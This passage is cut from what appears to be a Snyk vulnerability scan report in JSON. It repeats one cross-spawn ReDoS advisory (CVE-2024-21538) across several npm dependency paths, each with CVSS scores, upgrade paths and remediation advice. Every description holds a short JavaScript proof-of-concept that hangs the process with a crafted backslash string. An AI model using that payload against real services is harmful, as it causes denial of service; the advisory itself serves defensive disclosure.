"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
